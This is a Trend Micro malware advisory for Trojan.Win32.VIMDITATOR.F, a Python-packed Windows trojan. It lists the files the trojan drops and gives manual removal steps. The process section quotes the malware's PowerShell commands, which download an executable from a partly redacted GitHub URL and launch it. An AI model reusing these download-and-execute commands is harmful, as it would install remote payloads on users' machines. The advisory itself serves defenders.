Trojan.Win32.VIMDITATOR.F

September 21, 2022

Analysis by: Carlos Villegas Madrid

ALIASES:

Trojan.Win32.Bsymem.qio (KASPERSKY)

PLATFORM:

Windows

OVERALL RISK RATING:

DAMAGE POTENTIAL:

DISTRIBUTION POTENTIAL:

REPORTED INFECTION:

INFORMATION EXPOSURE:

Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes

OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

TECHNICAL DETAILS

File Size:

5,785,654 bytes

File Type:

EXE

Memory Resident:

Initial Samples Received Date:

13 Sep 2022

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

%User Temp%\_MEI{5 Random Numbers}\_bz2.pyd
%User Temp%\_MEI{5 Random Numbers}\_ctypes.pyd
%User Temp%\_MEI{5 Random Numbers}\_hashlib.pyd
%User Temp%\_MEI{5 Random Numbers}\_lzma.pyd
%User Temp%\_MEI{5 Random Numbers}\_socket.pyd
%User Temp%\_MEI{5 Random Numbers}\_ssl.pyd
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-console-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-datetime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-debug-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-errorhandling-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l2-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-handle-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-interlocked-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-libraryloader-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-localization-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-memory-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-namedpipe-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processenvironment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-1.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-profile-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-rtlsupport-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-sysinfo-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-timezone-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-util-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-conio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-convert-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-environment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-filesystem-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-locale-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-math-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-process-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-runtime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-stdio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-time-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-utility-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\App2.exe.manifest
%User Temp%\_MEI{5 Random Numbers}\base_library.zip
%User Temp%\_MEI{5 Random Numbers}\pyexpat.pyd
%User Temp%\_MEI{5 Random Numbers}\python36.dll
%User Temp%\_MEI{5 Random Numbers}\pywintypes36.dll
%User Temp%\_MEI{5 Random Numbers}\select.pyd
%User Temp%\_MEI{5 Random Numbers}\ucrtbase.dll
%User Temp%\_MEI{5 Random Numbers}\unicodedata.pyd
%User Temp%\_MEI{5 Random Numbers}\VCRUNTIME140.dll
%User Temp%\_MEI{5 Random Numbers}\win32wnet.pyd
%User Temp%\test.br0
%AppDataLocal%\Microsoft\Windows\Powershell\StartupProfileData-NonInteractive

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

{Malware File Path}\{Malware File Name}
%System%\cmd.exe /c title « OnionBrute By {BLOCKED}1D@GMAIL.COM »
%System%\cmd.exe /c "powershell -Command $progressPreference = 'silentlyContinue'; $ErrorActionPreference = 'silentlyContinue'; Invoke-WebRequest "https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe" -O "%TEMP%\test.exe" && start "" "%TEMP%\test.exe""
powershell -Command $progressPreference = 'silentlyContinue'; $ErrorActionPreference = 'silentlyContinue'; Invoke-WebRequest "https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe" -O "%User Temp%\test.exe"

It creates the following folders:

%User Temp%\_MEI{5 Random Numbers}

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe

SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.820.03

FIRST VSAPI PATTERN DATE:

18 Sep 2022

VSAPI OPR PATTERN File:

17.821.00

VSAPI OPR PATTERN Date:

19 Sep 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]

There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.

%User Temp%\_MEI{5 Random Numbers}\_bz2.pyd
%User Temp%\_MEI{5 Random Numbers}\_ctypes.pyd
%User Temp%\_MEI{5 Random Numbers}\_hashlib.pyd
%User Temp%\_MEI{5 Random Numbers}\_lzma.pyd
%User Temp%\_MEI{5 Random Numbers}\_socket.pyd
%User Temp%\_MEI{5 Random Numbers}\_ssl.pyd
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-console-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-datetime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-debug-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-errorhandling-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l2-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-handle-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-interlocked-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-libraryloader-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-localization-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-memory-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-namedpipe-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processenvironment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-1.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-profile-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-rtlsupport-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-sysinfo-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-timezone-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-util-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-conio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-convert-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-environment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-filesystem-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-locale-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-math-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-process-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-runtime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-stdio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-time-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-utility-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\App2.exe.manifest
%User Temp%\_MEI{5 Random Numbers}\base_library.zip
%User Temp%\_MEI{5 Random Numbers}\pyexpat.pyd
%User Temp%\_MEI{5 Random Numbers}\python36.dll
%User Temp%\_MEI{5 Random Numbers}\pywintypes36.dll
%User Temp%\_MEI{5 Random Numbers}\select.pyd
%User Temp%\_MEI{5 Random Numbers}\ucrtbase.dll
%User Temp%\_MEI{5 Random Numbers}\unicodedata.pyd
%User Temp%\_MEI{5 Random Numbers}\VCRUNTIME140.dll
%User Temp%\_MEI{5 Random Numbers}\win32wnet.pyd
%User Temp%\test.br0
%AppDataLocal%\Microsoft\Windows\Powershell\StartupProfileData-NonInteractive

To manually delete a malware/grayware file from an affected system:

•For Windows 7, Windows Server 2008 (R2), Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2):

Open a Windows Explorer window.
- For Windows 7 and Server 2008 (R2) users, click Start>Computer.
- For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower-left corner of the screen,then click File Explorer.
In the Search Computer/This PC input box, type:
%User Temp%\_MEI{5 Random Numbers}\_bz2.pyd
%User Temp%\_MEI{5 Random Numbers}\_ctypes.pyd
%User Temp%\_MEI{5 Random Numbers}\_hashlib.pyd
%User Temp%\_MEI{5 Random Numbers}\_lzma.pyd
%User Temp%\_MEI{5 Random Numbers}\_socket.pyd
%User Temp%\_MEI{5 Random Numbers}\_ssl.pyd
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-console-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-datetime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-debug-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-errorhandling-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l2-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-handle-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-interlocked-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-libraryloader-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-localization-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-memory-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-namedpipe-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processenvironment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-1.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-profile-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-rtlsupport-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-2-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-sysinfo-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-timezone-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-util-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-conio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-convert-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-environment-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-filesystem-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-heap-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-locale-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-math-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-process-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-runtime-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-stdio-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-string-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-time-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-utility-l1-1-0.dll
%User Temp%\_MEI{5 Random Numbers}\App2.exe.manifest
%User Temp%\_MEI{5 Random Numbers}\base_library.zip
%User Temp%\_MEI{5 Random Numbers}\pyexpat.pyd
%User Temp%\_MEI{5 Random Numbers}\python36.dll
%User Temp%\_MEI{5 Random Numbers}\pywintypes36.dll
%User Temp%\_MEI{5 Random Numbers}\select.pyd
%User Temp%\_MEI{5 Random Numbers}\ucrtbase.dll
%User Temp%\_MEI{5 Random Numbers}\unicodedata.pyd
%User Temp%\_MEI{5 Random Numbers}\VCRUNTIME140.dll
%User Temp%\_MEI{5 Random Numbers}\win32wnet.pyd
%User Temp%\test.br0
%AppDataLocal%\Microsoft\Windows\Powershell\StartupProfileData-NonInteractive
Once located, select the file then press SHIFT+DELETE to delete it.
*Note: Read the following Microsoft page if these steps do not work on Windows 7 and Windows Server 2008 (R2).

Step 4

Search and delete this folder

[ Learn More ]

Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.

%User Temp%\_MEI{5 Random Numbers}

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.VIMDITATOR.F. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

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